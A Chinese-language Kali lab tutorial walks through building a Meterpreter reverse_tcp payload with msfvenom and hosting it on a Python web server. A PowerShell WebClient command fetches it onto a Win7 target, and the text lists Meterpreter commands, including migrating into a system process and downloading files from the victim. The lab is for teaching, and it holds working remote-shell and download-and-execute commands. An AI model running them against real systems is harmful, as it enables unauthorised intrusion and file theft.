Kali 渗透测试:Meterpreter在Windows系统下的使用
实 验 环 境:
VMware Workstation 16 PRO
操作机:Kali Linux 5.10.0 IP(192.168.68.125)
靶机:Win7
实 验 步 骤:
1. 生成被控端payload
在操作机执行如下命令:
┌──(root💀kali)-[~]
└─# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.68.125 LPORT=9998 -f exe -o /root/PowerSploit/payload64.exe
2. 启动主控端
在操作机执行如下命令:
┌──(root💀kali)-[~]
└─# msfconsole
启动成功后,运行如下图红框所示命令:
3. 在操作机启动web服务
在操作机的payload64所在目录下,启动Web服务,执行如下命令:
┌──(root💀kali)-[~/PowerSploit]
└─# python3 -m http.server 8000
备注: 这样操作主要是方便下载和存储被控端payload到靶机,因为本机是Win10系统,转存会出现病毒弹框,被查杀。
4. 靶机Win7下载payload64
进到靶机,在浏览器访问操作机地址http://192.168.68.125:8000,单击payload64.exe,然后存储到指定路径,如下图所示:
或者直接在靶机PowerShell环境下执行如下命令:
PS C:\Users\CISP-PTE>(New-Object System.Net.WebClient).DownloadFile("http://192.168.68.125:8000/payload64.exe", "c:\payload64.exe")
然后双击执行。
5. 主控端反弹,打开Meterpreter控制会话
如下图所示:
很多时候需要实验Kali控制多个设备,这时就会创造多个会话,每一个会话对应一个连接,如果需要在这些会话之间进行切换,可以使用sessions [id] 的方式切换到指定会话。Meterpreter中支持的命令很多,一共分成9个种类,分别为:
- 核心命令(Core Command);
- 文件系统命令(File System Command);
- 网络命令(Networking Command);
- 系统命令(System Command);
- 用户接口命令(User Interface Command);
- 摄像头命令(Webcam Command);
- 控制权限提升命令(Elevate Command);
- 密码数据库命令(Password Database Command);
- 时间戳命令(Timestamp Command);
其中核心命令如下:
- background:将当前会话切换到后台
- bgkill:关闭一个后台的Meterpreter脚本
- bglist:列出所有正在运行的后台脚本
- bgrun:将一个Meterpreter脚本以后台线程模式运行
- channel:显示或者控制一个活动频道
- close:关闭一个频道
- exit:终止Meterpreter控制会话
- get_timeouts:获得当前会话的timeout值
- help:帮助菜单
- info:显示Post模块的信息
- irb:进入Ruby脚本模式
- load:加载Meterpreter扩展
- migrate:将会话迁移到一个指定PID的进程
- quit:结束Meterpreter控制会话
- read:从频道中读取数据
- resource:运行文件中的命令
- run:执行一个Meterpreter脚本或者Post模块
- sessions:快速地切换到另一个会话
- set_timeouts:设置当前会话的timeout值
- sleep:使Meterpreter静默,重建会话
- use:与"load"相同,已过时
- uuid:获得当前会话的UUID
- write:将数据写入一个频道
这些命令中最为常见的有如下几个:
sessions命令, 当建立多个会话的时候,可以使用sessions命令来显示所有的会话,如下命令:
msf6 exploit(multi/handler) > sessions
如下图所示:
background命令可以将当前会话切换到后台, 这样我就可以返回到上一级的模块控制处:
meterpreter > background
如下图所示:
切回到控制会话,可以使用“sessions -i 编号n”命令切换到编号n的会话处。如果我们现在要切回会话2,可以使用如下命令:
msf exploit(handler) > sessions -i 2
如下图所示:
migrate命令是一个十分有用的命令,可以将我们现在的Meterpreter迁移到一个指定的进程中。现在这个Meterpreter位于一个独立的进程或者一个可能随时被结束的进程中, 我们可以使用migrate命令将其迁移到一个系统进程中。
load命令可以用来加载Meterpreter模块的插件,可以使用 load -l 命令查看所有可以加载的插件,如下图所示:
run命令可以用来执行一个Meterpreter脚本。
exit命令用来退出当前Meterpreter控制会话
当目标系统上取得了一个Meterpreter控制会话之后,我们就可以控制远程系统的文件了。对文件进行操作的命令如下:
- cat:读取并输出到标准输出文件的内容
- cd:更改目录
- checksum:重新计算文件的校验码
- cp:将文件复制到指定位置
- dir:列出文件
- download:下载一个文件或者目录
- edit:编辑文件
- getlwd:输出本地目录
- lcd:更改本地目录
- lpwd:输出本地目录
- ls:列出当前目录的文件
- mkdir:创建一个目录
- mv:从源地址移动到目的地址
- pwd:输出工作目录
- rm:删除指定文件
- rmdir:删除指定目录
- search:查找文件
- show_mount:列出 所有的驱动器
- upload:上传一个文件或者目录
在Meterpreter中默认操作的是远程被控端操作系统, 上面的命令都可以使用。下面查看目标系统中包含哪些文件,可以使用ls命令:
meterpreter > ls
如下图所示:
显示目标系统当前目录,在命令行中输入如下命令:
meterpreter > pwd
如下图所示:
使用cd命令切换到其他目录,命令如下:
meterpreter > cd c:/
如下图所示:
使用mkdir命令在目标系统创建名为“Metasploit”的目录,命令如下:
meterpreter > mkdir Metasploit
如下图所示:
search命令查找目标系统中感兴趣的文件,如查找目标系统中的一个TXT文件,命令如下:
meterpreter > search -f *.txt
如下图所示:
找到了感兴趣的文件,就可以将这个文件下载到自己的Kali Linux操作机上,命令如下:
meterpreter > download c:/run2/memo.txt
如下图所示:
希望此文能对您有所启发, 欢迎留言,点赞,转发!